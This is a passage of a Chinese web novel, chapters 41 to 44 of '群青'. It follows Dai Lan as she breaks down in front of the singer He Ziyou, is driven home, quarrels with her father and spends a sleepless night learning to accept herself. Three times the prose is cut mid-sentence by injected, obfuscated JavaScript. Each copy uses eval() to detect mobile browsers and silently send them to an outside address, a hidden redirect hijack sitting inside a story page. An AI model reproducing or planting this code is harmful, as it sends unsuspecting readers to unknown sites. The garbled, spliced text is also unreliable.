或者是,她做的贺卡很好看,班上很多同学都想要…… 那些灰扑扑的,遍布尘埃的回忆……她差点就丢了。 那些是何子游想要的“优点”吗? 不,不是他想要。 是我。 是我需要细微的,具体的,无数个稀松平常的小事来填满完整的我。 虽然有警告,他们并不完美。 那一刻代澜好像知道了真实究竟是什么。 41. 群青 如果说之前她只是为完美是不是牢笼,她又是否受困于完美而自我折磨…… 那么现在开始,她已经察觉到,或是,在何子游的指引下望见了牢笼的出口。 人类可以无止境地在不完美中追求完美,但前提是自己要先接受自己不完美。 听起来很拗口,从极端到另一个极端,但这恰好是维持一座天平守恒的方式。 一旦朝“完美”倾斜太多,就极容易将自我忌恨,而朝“不完美”倾斜太多,又容易自甘堕落。 那么她是哪种呢? 答案显而易见。 代澜要找完美,从第一步开始就错了。 所以“不完美”的我是什么样子?她好像已经很久很久没有好好看过自己。 灵魂脱离身体之外,目光所及之处更辽阔,她与自我对视—— 除去那套与血肉/纠缠在一起,几乎嵌进肌/肤的“完美”枷锁,这具肉/体和心脏是那样的“不完美”,支离破碎,简直是一滩臭烘烘的,能够行走的烂泥。 代澜痴痴地看着“自己”,就像看着镜子里练习笑容一样。 太陌生了……她甚至不认识也不相信这是“自己”。 从前她只顾着向前跑,追逐“完美”,她究竟把“自己”折腾成什么样了? 双手交握,代澜甚至要掐着肉让自己清晰地感受到现实,以痛作为现实和灵魂的牵绊,让腐朽生淤的大脑强制转动。 她恶狠狠地质问,可得到的只有回音,那些恶狠狠刺向的还是代澜自己。 没有答案! 没有答案…… 眼泪继续啪嗒啪嗒落下,代澜审视自己。 他们说泪会像断了线的珠子,从前她哪里觉得,可如今才发现,那些滚落的,掉落下来比双手掐着还疼的泪不就像珠子吗? 心脏拧巴得生疼,她松了手,虎口上被掐出的红印很快被泪渲染,镀上晶莹剔透的一层,过去的伤疤就被塑封。 她太迟钝了…… 这些年落下的泪水不比今夜落下的滚烫,因为那是爱流离失所。 爱太重太重了。 以至于它从泪水里蒸发,炽热不再,从身体里离开,灵魂就变轻,更容易飘走。 而当泪水也流尽,灵魂也飘散,她便成了一副空壳,只能行尸走肉般运作。 但今夜,泪水滚烫,因为她终于回眸,将目光留给自己。 爱也是。 “没有怎么……我只是突然发现,眼泪好重,也好烫……” 代澜的指尖不住地颤抖着,只是小剂量的爱回来,这副躯壳便无所适从,好似一辆失控的汽车,她是高兴的,但也好痛,因为枷锁并不会因回眸而被卸去。 “阿澜……”何子游微微发颤的声线,在视线依旧模糊的情况下却更加清晰,宛若风拂动平静湖面,肉眼可见的粼粼有不为人知的水声。 “我知道的,”抢走主动权,她努力调整呼吸,让抽噎平缓,“知道你要我找优点的用意。” 尽可能整理,为所有混乱局面说些什么,却在触及那些让人意想不到的优点时,情不自禁地让嘴角勾些笑意,只是未曾完全流露,便有些羞耻地掩饰过去。 除去面具,习惯麻木太久,真实的自我早就成了扑克脸,她对表露自己的情绪产生了极其重的耻辱感。 “那些你为我找的优点,不只是想建造信心吧。” 还有,在爱离去,灵魂空缺之时,让桩桩件件平淡无奇的小事都成为环绕的,可盛赞她的理由。 是的。 代澜如今回头,在失去爱的风雨里更醒悟。 她是如此需要那些细微的,具体的,无数个稀松平常的小事来填满完整的她。 追逐再追逐,天平过分倾倒向“完美”的一侧,炫目美好的所谓“完美”让她坠入自噬的深渊。 当终于明白为何要接受“不完美”,才发觉那些印象中所谓沉重而狼狈的现实才是让身上枷锁解开的钥匙。 而也正是这时,代澜才清晰地感受到,在尚未清醒前奔波的漫漫长夜里,何子游所指引的,那些起初听上去不可思议而荒谬的“优点”,被一块块加码在天平之上,就是为了让她从深渊里回来,再回来些。 她明白了。 所以在她未说完的这句话,“不只”后续的“还是”,似乎并不需要悉数说明。 因为未尽的话,心照不宣。 …… 代澜的眼睛肿得厉害,但掩饰早就无用,最不堪的一面尽在眼前。 接过何子游递来的纸巾,她也不敢再擦,而是小心地让泪吸附在纸巾上。 哭得太多,她的眼皮早被磨得发红刺痛,眼尾早就积攒下两条泪痕被泪水冲刷了一遍又一遍,宛如加长的眼线。 “最后一张咯。” 话落,何子游将空空如也的纸巾袋塞到骨碟边上,他语气轻松,显然是为了让听者也能尽快从悲伤里脱身。 作为纸巾的真正消耗大头,代澜有些不好意思。 纸巾被泪水和鼻涕吸得湿润透彻,换了一张又一张,何子游也未曾厌烦,当然也没有嘲笑她的哭相。 她也已经很久没有哭这么久了……从前一直是在家,哪有让其他人看见这幅惨状…… 慌张整理好思路,尽管对方并未说些什么,羞耻依然迟钝出场,脸颊分不清是被纸巾蹭的还是不好意思,哭了这么一遭,水分都跑光,她闷头又盛了一碗粥,小口小口地吃起来。 对面的男人沉默许久,代澜装做不经意瞥他一眼,刚瞟见他眼梢沉淀温柔,就开口轻声:“和我约定吧。” 她不解,还以为是自己的偷看惊扰了对方,勺子往嘴里送粥,压制视线:“唔?” “以后想到自己有什么优点,就告诉我,什么时候凑够四十条,什么时候满足你一个心愿,怎么样?” 代澜捏着粥勺的指尖一顿,略显迟疑:“如果……如果凑不够呢?” 虽说理解了为何要收集千奇百怪的优点,以及醒悟中应该学习如何接受“不完美”的自己,可真要达到这个目标,代澜的包袱显然放得还不够多。 她心里依旧会忍不住对处处有缺点的自我指责,自然也会在面对约定,凑够四十条优点这般的“宏大目标”退缩。 可何子游没有给她退路,几乎是半哄带劝:“也没有限制时间,刚才不都讲到……第三个了?” “那就还剩三十七个了,”他佯装数学不好,还要念念有词掰三个手指头,故意逗代澜笑,“还不如心疼心疼我,兑现什么心愿可有风险呢。” 是妥协还是自愿? 她的脑袋实在太晕太重,没法再想更多,索性顺其自然:“好。” - 离开之前,何子游始终担心代澜吃不饱,又给她点了些其他吃的打包回家。 和小睿以及许露告别,代澜跟着何子游上车。 该回家了。 她坐定,又有些忐忑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13528787|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >出来这趟本就是意外,回到家还不知道怎么应付吵架后的父母呢……唉,代澜无声长叹似被兑了铅,倏地被车厢里的昏暗吞没,不见踪迹。 手指绞着手提包的包带,城市霓虹灯晃眼飞速而过。 音响忽然流出几滴音符。 起初代澜还未曾发觉,直至何子游的声音伴随节奏流淌,几乎是似水循蜿蜒而出,她才发现,这曲子似曾相识。 “有印象吗?”何子游掌控方向盘,虽然没有分神望向她,但话间难掩对作品的喜爱,只要涉及音乐,他骨子里那点张扬便蠢蠢欲动。 她侧头,看他眉眼趁着霓虹途经偷走几点流光。 何子游问出口的同时,代澜便忆起那次下乡当他的司机,他在后座上哼唱的,将她勾得心痒痒的一句。 和自由的作曲编曲太特别了,连记性这么糟糕的她也能在听过一次后就念念不忘,甚至很快就想起来,现如今所听的这首歌,最勾人的一句和他当初哼的并无二致。 她细听。 长笛悠悠引入,古筝作伴,好似穿行竹林,坐卧流水之间,怡然自得,有风泠泠以竹叶为弦弹奏,从清脆翻涌到潺潺水声汩汩流浪。 可如果整首歌只是这般,那也不叫新鲜。 之后竟是以长笛继续作主线,衔接竖琴、钢琴等乐器,中西融合,古风碰撞现代,混搭却完全不会自乱阵脚,更像一个侠客和绅士互换时代背景,不同时空交换对手,完成一次痛快潇洒的旅程。 逍遥里俏皮,看似无序,对立碰撞的乐曲构架中处处玄机,精妙绝伦。 而前面的古风,也就是何子游哼的那句,和当时他们下乡,小电驴载着穿行在山林间还真是相似。 只是想到在敬老院,远离纷争的那时,心头便松驰些许,转念回到他的问句,代澜也没有不承认的理由:“你哼过。” “我可就哼过一次。”他飞快转头朝她一笑,好似在炫耀,还是来讨功。 ……哭太久的后遗症是脸有点僵,代澜有些想笑,可是没立刻笑出来,只动了动嘴角,眼巴巴憋了回去。 她伸手揉揉没几两的脸颊肉,听何子游继续说:“这首歌是我下张专辑的主打歌,还没填词。” 汽车钻进隧道,于是一下子亮堂起来,代澜还有些不适应,揉脸的手改了个方向作挡光 “你觉得好听吗?” 光太刺眼,她没看清何子游从逗笑还是张扬转瞬切换成谨慎和期待,本就肿胀的双眼皮挤压着所剩无几的视线,代澜有些苦恼,瞟了他一眼:“确实好听,够新鲜。” 车子过弯,“我打算这次不自己作词了,”何子游望向后视镜,从代澜的角度看,光影在他的脸颊上飞瞬而过,看不出旁的情绪。 她是有些意外的,毕竟和自由从出道到现在,几乎每一首歌都是亲力亲为,还有个外号叫“爆曲生成一体机”。 “为什么?”代澜只简单三个字。 方向盘在他手中轻松转过,明明看上去随意得很,车子却稳得代澜一点头晕都不犯,何子游温声:“最近看见一些新人,感觉可以合作一下。” “比如呢?”她甚至坐得有些困,不知道是不是今天实在折腾得精力消耗太多,还是纯粹稳得安心,倚着安全带,目光渐渐呆滞。 “你听过最近一首歌……” “什么……” 他车里的香味和他身上的香水味是一样的,很好闻,很催眠。 “……叫《指尖恋人》吗?” 42. 群青 宛如在脑袋旁猝然绽开一朵花样的烟火。 代澜长吸一口气,听烟火还是何子游的话语,余音在耳旁噼里啪啦小声回荡。 睡意悄无声息弥散,她不自在地悄悄抬手搔了搔鼻尖。 微信群里的二创视频何子游没有回复,她便很自然以为他没有听,甚至……不会听。 毕竟她们的自作曲离这种天才型创作者的作品,不管是从哪个方面看,差距还是很大的。 以至于《指尖恋人》这四个熟悉到不能再熟悉的字,经何子游嘴里渡出来有种违和感,像奢侈品店声称要和塑料袋家庭小作坊合作。 ……等等,所以,他真的是要合作的意思吗? “你是想找这首歌的作词人合作?” 代澜尽可能说得简短又轻松,甚至连“BLUESTORY”的名头都不敢提,毕竟正常听歌只会注意歌手是谁,更何况这首歌本就是辛穗作主创。 谁知何子游霎时间“噗嗤”笑开,代澜有些茫然,侧头看他,“不是,我只是以她们为灵感,想到和更多新人合作而已。” “哦。” 狂跳的心倏地安分下来。 车子恰好驶出隧道,一切明亮被甩在身后。 如果不是车厢内光影交错加之他在专注开车,她想,就凭自己的三脚猫掩饰功夫,恐怕那一点点的失落也躲不过何子游的眼力。 …… 好吧,不只是一点点。 他的十指细长,骨节分明,随性把在濡雨色真皮方向盘上,和这辆车的气质尤其相符,潜伏的黑色野性在擅长领域里为他撑起底气:“不过我确实很欣赏这首歌的创作者们。” “曲子很抓耳,结构也很巧妙,就算是每个部分单拎出来都很能打。” 何子游悠悠聊着对这首歌的看法,三言两语,没有身为业内人士的高位评论和说教,只有对粉丝真切感情的赞叹,而代澜认真听。 “火是应该的,和流水线比确实好太多,毕竟是发自肺腑……词将这首歌的灵气又提了一档,画龙点睛,互相加冕……” “希望这样的曲子可以越来越多,所以我想利用自己的身份去和更多新人碰撞出火花,等到百花齐放的那天,我也能安心做幕后了。” 汽车在红灯前缓缓停下,十点半刚过,冬夜的街道有些空,两三个行人裹着围巾快步从斑马线上走过,高低错落的高楼间,霓虹灯不懈地工作着。 而他们在车里,开了暖气,不论繁华还是宁静,都尽收眼底。 “可是……这样的话要怎么和粉丝沟通呢?” 代澜相信何子游会明白她的意思。 和自由如今已是顶流,如果和同样是顶流或者大神合作,那当然是好上加好,但如果和新人合作,粉丝往往会担心偶像被公司捆绑带新人增加人气,也就是成为所谓“血包”。 这些讲究在代澜听辛穗追王施闻时就被科普过,她是认真为何子游担心。 毕竟有时并不只是公司或者艺人本人出面就能协商,娱记、对家、对家公司等等可操控的路数实在太多,一旦人云亦云,煽动情绪,好意或许便成为伤害。 何子游的左手撑在车窗沿,手指有一下没一下地揉着太阳穴:“嗯……首先我会讲清楚我的计划,沟通非常重要,还有真诚。” 其实代澜问出口了才觉得自己似乎太冒昧了…… 他可是已经出道十一年的大前辈,又怎么可能不知道怎么处理和粉丝之间的关系和运作工作呢? 更何况何子游只是兴起才聊到音乐,怎么她还真有胆打探他工作方面了。 真是白痴……她偷偷捏大腿来克制这阵后知后觉的羞耻和自以为是的懊恼,偏偏隔着紧身牛仔裤滑溜溜的,还不好捏。 “其次,得靠工作室的运作,协商……这些处理起来比较复杂,”他顿了顿,确认红灯还没转绿,再回头继续,“你要听我们怎么工作的吗?” 何子游好认真。 目光移来的瞬间,代澜松了捏腿的手,害怕他看见自己又在伤害自己。 其实他可以敷衍些回答的,毕竟这些属于工作内容,而她是无关人士。 是不是别人问什么问题,他都这么耐心回答呢? 于是她尽力扬唇:“那也不用了,我也用不上。” 男人轻声“嗯”,边转头目视前方,不过从若有所思的表情看,他似乎并不太认同这句,果然下一秒便笑叹:“按现在参加了节目看,还真说不准。” 话落,一直没掐住大腿肉的手倒是掐准了一回。 “最后一条的话,就是信任。” “信任谁?” “粉丝,”红灯终于显示倒数,汽车准备起步,“当然还有所有人,已经尽人事了,剩下的只能听天命,走一步看一步。” “以往我做所有决定都是这样的。” 周遭的灯光再度流动起来,代澜有一瞬觉得,他们乘坐的汽车真的很小,在马不停蹄的城市里马不停蹄,只是看似方向盘掌握在手中。 忽然有些落寞。 代澜的神思非常自然地流淌,直到她归来,才发觉谈话被自己单方面搁浅。 但何子游没有追问她的回答,好似这分秒空白是与生俱来的默契。 不过她不会觉得这份等待就是理所当然,心底有些焦灼:“我刚刚走神了,对不起。” “不用说对不起啊,”代澜偏头望向男人,小心地在他脸上寻找有无不满的神色,然而丁点也不见,“刚刚在想些什么呢?” 这话倒是问倒了她,其实她自己也不知道自己在想些什么,更何况有些想法过于抽象,说不定还会让他觉得自己是个奇怪的人。 代澜琢磨了几秒开口:“感觉你很愿意和粉丝沟通吧……” “嗯?怎么说?” 怎么说……?她怎么知道!本来只是想简单应付一下…… 脑子不可控地冒出微博上,他的后援会置顶写着的“一百条”…… “就……”她迅速在大脑里四处搜刮,看看还有没有别的好理由,可不知怎的,绕来绕去还是只有这一条最鲜明。 不过也是,好像会主动向粉丝公布感情状况的明星应该就只有他了吧? 代澜有些支吾,想举白旗,说要不然就跳个话题,偏偏瞥他时还被笑眼捉住,大脑一瞬空白只好招供:“……你居然会和粉丝主动说有白月光……” “白月光”三个字一落地,何子游秒露了然之色:“啊,这个啊……” 主动提起这种八卦总有些莫名心虚,代澜含糊地“嗯嗯嗯”几声,好似这样就能掩饰自己“无意”的“窥探欲”。 ……今晚吃饭时也确实动过要问清楚的心思。 她很快合理化自己的行为,并准备将何子游的回答纳入未来如何对待对方的准则里—— 毕竟她很是担心在有“白月光”的情况下,还与对方保持什么“约定”的倾诉关系。 倘若何子游是“明知故犯”,那么她也一定不会再和这种没有边界感的人成为朋友,不愿做会让对方喜欢的人任何有误会的行为。 等待他驾驶一路拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13565244|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯下高架有些焦虑,下意识还是想撕手皮,可手指在盛粥时渗血被逮了个正着,上车何子游就递了创可贴,撕手皮的路是走不通了。 于是捏过大腿肉,代澜又去捏虎口上的软/肉。 最终行驶到平坦路上,被蹂躏过数次的虎口才“无罪释放”。 他带笑的嗓音在闷了许久后夹杂些颗粒感,混着车里的暖气像在壁炉前吟诵一曲翻阅过好多遍的咏叹调。 “‘白月光’以前是有……”何子游超车,还把那三个字念得尤其慢。 代澜不动声色抓紧安全带。 “但是现在已经没有了。” 超车结束。 心跳确实也有点超。 方向盘一直在他手上,她确实比不过。 车子快走到代澜家小区门口,速度也慢了下来,景观树高大,挡去路灯照耀,何子游耐心按导航的指引找那条拐入的街口,喃喃:“沟通……沟通确实很重要……” 她终于忍不住抬起右手指了指方向:“在那边。” “嗯嗯……” 他在憋笑?代澜迟疑,偏头望一眼何子游神色,然而后者严肃,好像听见的尽是幻想。 汽车缓缓在小区门口的石墩子前停下,这次是真到了。 何子游顺手将车内灯打开,她揉揉眼,适应突然的光明,这间隙,男人在旁似乎摸什么东西,窸窸窣窣,伴随轻声:“待会儿我就让他们更新一下你说的那条,毕竟要和粉丝及时沟通,你说得没错。” “嗯……”代澜莫名有些不好意思,心里乱糟糟,总感觉是掉进了什么陷阱,怎么也说不清,抿着嘴心虚地假借揉眼将脸红掩饰。 她也知道这点小招数拖不了多久,等最后认命睁眼,面前已是他递来的那袋卸妆用品。 苹果汁还没喝,随袋拎起时被迫倒立,盒子上的公仔透过塑胶袋呆呆地朝她眨眼,她接过:“谢谢你。” “不用谢。”他接得很快,代澜也没再客气,告别下车。 但走出几步,登上台阶,也没听见身后有引擎发动的声响,她又回头,站在高高的平台上往下望。 何子游果然还没走,街上无人,他便摇下车窗,不知看了她背影多久,见代澜回头望来,摆摆手。 萧瑟的冬夜里,车内的光比任何一盏路灯要暖,被黑色铁皮包裹着,像一头巨兽在安静处拥着温柔的心脏。 她的心脏也同频跳动着,但也许比他的更微弱些,勾着回忆绕回数年前和他在医院天台最后约定时,他也是一样的神色,一样的摆手。 区别是那时她以为再难相见,而如今竟然能常再见。 干涸的泪痕被风刮得刺痛,代澜记起人类是趋利避害的生物,所以又匆匆下台阶,朝温暖的方向走。 走近那颗心脏,巨兽并未对她的动作有任何疑问,竭力靠过来,离她近些:“漏东西了?” “没有。”双手扒着车窗,这个高度确实对她不是很友好。 男人乖顺的刘海比今晚带她走时要塌些,盯着她的眼神闪过一丝意外。 其实代澜也不知道为什么她又会回来,不过鬼使神差,于是找了个借口——用上有史以来所有的反应力。 “你给我听了那首歌,真不怕我泄密吗?” 她是想接着问要不要签个保密协议。 何子游顷刻失笑,暖光碎在他眼眸里,随着呼吸或是风吹,像摇晃而熠熠生辉的琉璃。 不是搪塞,不是敷衍,也记不清这是第几次听见相同的回答。 “你不是别人。” 43. 群青 代澜立在家门前的红线圈毯上。 直到电梯间的声控灯熄灭,黑暗瞬时将她紧紧裹住,才发觉站了好长时间。 腿边未熄屏的手机提醒她已是十一时五十三分。 从户外回到室内,鼻尖的冷意还未消散,愁云也是。 她犹豫几回,钥匙终于还是插进孔里,那扇隔阂的门被缓缓打开。 客厅里只亮着一盏落地灯,模糊的影子打在墙上。 有人。 但代澜只是放轻呼吸,对方不出声,那么就还算和平。 放钥匙在玄关鞋柜上,脱鞋,换鞋。 “去吃了什么?” 是代敬在这里。 穿进毛毛鞋的脚有一瞬停顿,很快掩饰过去,更多不爽的情绪立即在胸口漫开,她不想和他说话,沉着脸,沿落地灯橙黄的界限穿过客厅。 然后预料之内地被父亲叫住:“我知道这次是我对不起你。” 开口特别别扭,中年男人总是不愿相让,话末是几不可闻的叹气,摇荡在空气里的妥协。 但这并不是代澜想要的:“那以前呢?” 面对父亲,她能拖出来说的东西有太多了,但嗓子里有个过滤器,它们越是繁多,越是拥挤,越是堵着出不来,只能一粒一粒往外蹦,随着苦闷的情绪濒临灭绝。 “那以前、以前……”代敬的影子动了动,和他的话语一样急切,代澜的余光看见影子的“呼吸”有片刻急促,但很快随着身形挪动而不再显现。 又没有了后续。 “是吧……”她想自己可能在面对代敬时总会应激一样掉眼泪,因为遇到委屈的事情太多,以至于和他说不下半句就慌慌张张哽咽,即便她也不想这样,“你不会觉得你有错的,那说‘对不起’有什么用呢?” 真是浪费时间。 水汽氤氲遮蔽眼前,在光的边缘很朦胧,她抓着塑料袋的手很用力,指甲要嵌进肉里。 径直往房间走,走出客厅的范围之外,然而代敬还是在她进门前开口,企图留住她。 “你能不能先听我说!” 急切地,无助地,强忍着和她同样的哽咽。 好像代澜不停下来就要了命:“说。” 身后传来小声吸气的声音,在黑色里突兀:“之前是我不对,我不该把你的隐私随便跟别人说……” “我以为那样可以帮你,不是想到处抱怨,是我没有做对,没有想周全……”代敬絮絮叨叨,鼻音随着每个字蹦出越来越明显,颤抖着,不知道是在向自己忏悔,还是做什么无力地挽回。 代澜用力合眼,将那点眼泪挤出去,先前流泪的冲动不知为何忽然断崖般冷却,她清晰感受到心脏空空,连说话也薄情,一刀一刀剖心:“为什么现在和我说这些?” 一句停顿,等对方在寂静里吸了吸鼻子,男声垂落,似乎强压着什么:“是子游和我说了,我想了想,是我之前不对……” “我知道他是好心,”代澜字句顿挫有力,冷静地写下判词,“但是你是听了他的话觉得有理,才跟我道歉,还是因为他在酒席上,或者身为一个后辈提醒你,你觉得没面子才被迫‘幡然醒悟’?” 一口气将质疑摆出,她感觉自己前所未有地冷静。 被说中般,身后一腔迫切应声极速冷却。 呵……看吧,她就知道,哪里会有什么幡然醒悟…… 面子,死要面子……不就是因为那点面子才让她动摇屈服于学校,又在面对别人说女儿毕业了不工作时,强行催她出门应聘吗? 倔了这么多年,他会这么轻易,一朝就被说服向自己道歉? 鬼才信! “你……”代敬急了,似曾相识的语气登场,又是暴风雨的前篇,代澜索性直接回房间。 可就在关上房门的前一秒,斜对面的主卧门被打开,俨然是母亲谈雪梅听不下去要介入,然而代澜没给她机会,迅速锁上门。 拧过门锁的下一秒,外面轻敲这扇沉重木门:“澜澜,澜澜你开开门吧。” 母亲又来当和事佬。 黑暗的房间里锁窗锁门,安静和阵痛一并禁锢在此,被催促的人还披着从外面归来的风霜,塑胶袋随着呼吸轻晃,察觉不到勒得多痛。 “你听妈妈说,开开门吧。” 可她只想先静静。 和何子游告别之前还能感受到一点自己,但走进这里以后,那朵云雾又将代澜的头脑重新拢住。 淅淅沥沥的声音匆匆而来,局部地区即将多云转小雨。 妈妈还在外面敲门,她还维持着刚关门的姿势,进入独属自己的空间后,一切打回原形,代澜又变回那个迟钝的木头,眸光垂落在那把不愿解开的锁上。 然后一滴一滴蓝色落下,她也不用故意伸手,就让它们自由落体,接住哪滴算哪滴,好像无情的旁观者,看这场雨要下多久。 “澜澜,你别这样,你这样妈妈也很难受……你开开门好不好?” 同样的说辞她听麻木了,再开门也不过是变相默许得寸进尺:“不好。” 今天已经哭很久了,实在没有多余的力气再应付父母的轮番上阵。 眼泪滑到代澜干涸的嘴唇,将起皮处再度软化,她忍不住抿了抿,算是解锁这段长久的停滞。 开灯,将塑料袋放在电脑桌上,脱下大衣,她收拾好,准备洗澡。 门口谈雪梅已然放弃了叫她开门,在隔着门也能听见的长叹后,再无声响。 代澜刚想进卫生间,却发现洗澡的凉拖在外面,她顿在门前好久,预想他们应该放弃回房了,于是开了门—— “澜澜。” 她没想到谈雪梅还在门口,就靠在墙边,原先应该是半蹲着,门一开便立马起来。 急切而疲倦的面孔迎来,代澜皱眉,往后退了半步,防御的动作让母亲又不安:“澜澜,你听妈妈说……” 可是她真的受不了了,突然涌上的反胃感让人措手不及,代澜几乎是瞬间捂着嘴就往房间的卫生间冲,一把掀开马桶盖就往里面呕。 一阵晕眩。 伴随着谈雪梅急切的声音,她几近跪在地上吐了个昏天黑地,今晚吃过的东西全作废,眼泪扑簌簌地掉。 代澜不知道自己抱着马桶吐了多久,只知道喉咙和下颌好疼,眼睛也受不了,浑身酸痛无力。 一旁谈雪梅递来纸巾,她也没管这么多,接过就擦,胡乱地擦,头发一直是散着的,因为呕吐而乱糟糟,又糊了鼻涕和泪水,狼狈极了。 闷在地上缓了阵,母亲早就焦灼不已,在耳边来回好多句“好点没有”、“要不要去医院看看”、“是不是发烧了”、“是不是今晚没吃好,肠胃炎犯了”…… 她又在唠叨里慢慢地扶着洗手台站起来,谈雪梅扶着她的腰,生怕女儿吐了太久体虚脱力摔倒。 “你出去吧。”脚好麻,肚子还胀,代澜不想再移动了,嘴唇微动,艰难地吐出四个字,无力地垂眸,看陶瓷洗手盆里未滑落的水珠晶莹剔透。 “……我不放心你啊。” 扶着后腰的手心温暖,但她实在太疲惫了:“我长大了,可以照顾自己。” 代澜不想去猜那一刻谈雪梅在想什么,也没有力气猜了,贴近单薄衣衫的手松动,最终所有忐忑凝成一句:“哦,那有事一定要喊我。” 之后她感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13589246|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意她之人不舍地离开,而在离开之前,还听见另一人说话:“热水装好了。” 是代敬的声音,自以为小声,可代澜也不聋,然后谈雪梅转达:“热水给你装好了,先给你倒一杯晾上,你喝点暖暖……” “嗯。” 卫生间外窸窸窣窣,门还差一条缝,留下最后的叮嘱:“我们的房不关上门,有事喊就好,打电话也行。” 代澜沉默,叮嘱没等到回应,识趣地关好门结束对话。 空气中安静很久,好像一切都尘埃落定时,她才猝然将身体放松,只剩一双手摁在洗手盆边缘,让它承着点力。 镜子里的自己破败不堪。 干枯而乱糟糟的头发,下垂的眼袋,干燥的皮肤,泛红脱皮的鼻尖,肿胀的眼皮,残破的嘴唇…… 每一次哭泣都让她褪一层皮,露出新的伤疤。 大脑里胀得快要爆炸…… 一阵又一阵的浪潮,将她混沌的头脑放肆地冲刷,激荡,推翻了一遍又一遍,无尽的蓝色将她裹挟着向前后退或是翻涌沉沦—— 与之对应的是胃,代澜一把抓住发尾将酸水呕出。 喘息,先是小口喘息,再吐,之后为了得到更多空气,不得不大口大口地呼吸,好像要把所有新鲜空气都兑进胸口里洗刷这污秽的灵魂。 好不容易缓和些,却跌坐在地上,将喘息化成小声地啜泣,呜咽再逐渐变成放声大哭,宣泄所有悲伤。 太痛了。 不管是□□还是灵魂,都太痛了。 因为分明知道父母爱自己,所以要怪他们时自我负累得更多,也更憎恨要厌恶他们的她。 可那些爱又是那样的不合时宜,叫人受尽折磨。 她呕吐出的污秽好似他们给予的,错误的爱,最终不得要领,就只能尽数丢掉。 子女又何尝不是父母爱的器皿,往里添加的每一味药剂,产生的化学反应都由他们承担,若是一不小心,或许就被消融了。 器皿能有主动说“不”的权利吗?没有。 但她会是器皿吗? ……似乎不会。 哭声渐渐微弱,只余下呼吸依旧用力着。 自我的存在在一呼一吸间格外清晰。 那是她切实存在的证据。 不是一坨烂泥,而是有形的,能够自主呼吸的,有选择权利的人。 代澜又记起几小时前她和何子游曾经谈论的那些话。 让爱回到自己身上,在每一件小事里感受自我的存在。 她更加用力地深呼吸,让节奏放缓,让蓝色的浪潮从激荡到尝试驾驭,直到能感受到眼睫上沾满的泪珠不那么重,被排除在负累的理由之外。 缓缓睁开双眼,眼前依旧是狭小的卫生间,但代澜确切地感受到,属于她的存在,有清晰的,微弱的安全感。 扶着周围爬起。 像刚经历过激战的将军,在惨烈过后踽踽独行,遍体鳞伤。 吐了太多太久,胃里很空,也有些脱力,但那些积攒在体内冥顽不灵的污秽,确确实实被呕吐掉。 又回到那面镜子。 镜子里倒映着她。 代澜知道自己依然无法像他们一样笑得自然,她也还在讨厌自己。 深渊里只能自己救自己,以前的她不想救,就这么待着自我惩罚也挺好。 但这次呢…… 目光明明和往日相同,望见的依旧是堕落的黑,可这次抬头或许有岸了。 岸上有人在意她。 而她感受到了,阵阵呼唤。 从心底冒出一种声音,一个问题。 “你要不要来?” 44. 群青 谁也不知道那夜,代澜在房间里做了什么。 代澜也不知道。 因为她什么也没有做。 只是坐着,将灵魂重新嵌入肉/体,感受存在,学习腐朽古木复苏的步骤。 只是坐着,睁眼或闭眼,感受每一次呼吸滑过鼻腔,冷空气密密麻麻长着小刺,让她过敏,吞咽湿润时一并将它送进身体,小刺破开血花和焦虑的枷锁,成为背脊靠左难言的钝痛。 二十四年来头一遭,她想接纳自己的疲惫。 长久以来逼迫自我生活在紧绷的生活里追逐完美,疲惫的空间是不被允许的,连喘息也会成为自我攻击的理由,抹上“耻”的污泥…… 代澜从肺里拼命挤出混沌数年的叹息,借着窗外折入玻璃的月光隐约能看见那口绵长的呼气。 冬夜室内也很冷,她只穿着薄绒圆领睡衣,锁骨大半与空气亲密,和鼻尖一起结冰。 身体佝偻着,脊椎负重,疼得磨人,可就是坐在床边一点也没有动过,面朝那扇窗,不知是在和什么怄气。 是和寒冷怄气吧? 秉持心脏唯一的火种,宁可冻得僵硬也不变。 还是她纯粹恋痛? 冷夜与骨子里的炽热对抗,要拖她彻底沉沦,吞没在重重黑暗之下,理智却拉住最后的弦,死死不放手。 代澜还是不知道。 只知道自己要熬过这夜,好像只要等到天亮就一切明了—— 等,一直等到窗外传来第一声婉转鸟啼,恍若惊世梦醒。 她的累触底,在夜与昼的模糊界限里缓缓清醒,过渡到下个时机。 如果说在卫生间里的呕吐是与抑郁对抗,那么坐足整夜就是和焦虑抗争。 这是她现在能够找到最合适的方式,要接纳自我,接受满身疲惫的现在,势必需要寻得自处的时间。 一整夜,是她给自我的机会,也是试探焦虑底线的时间。 一整夜,焦虑都在试图攀上代澜的肩膀,用无尽的酸楚折磨勾走她的决心。 但如今真的要结束了。 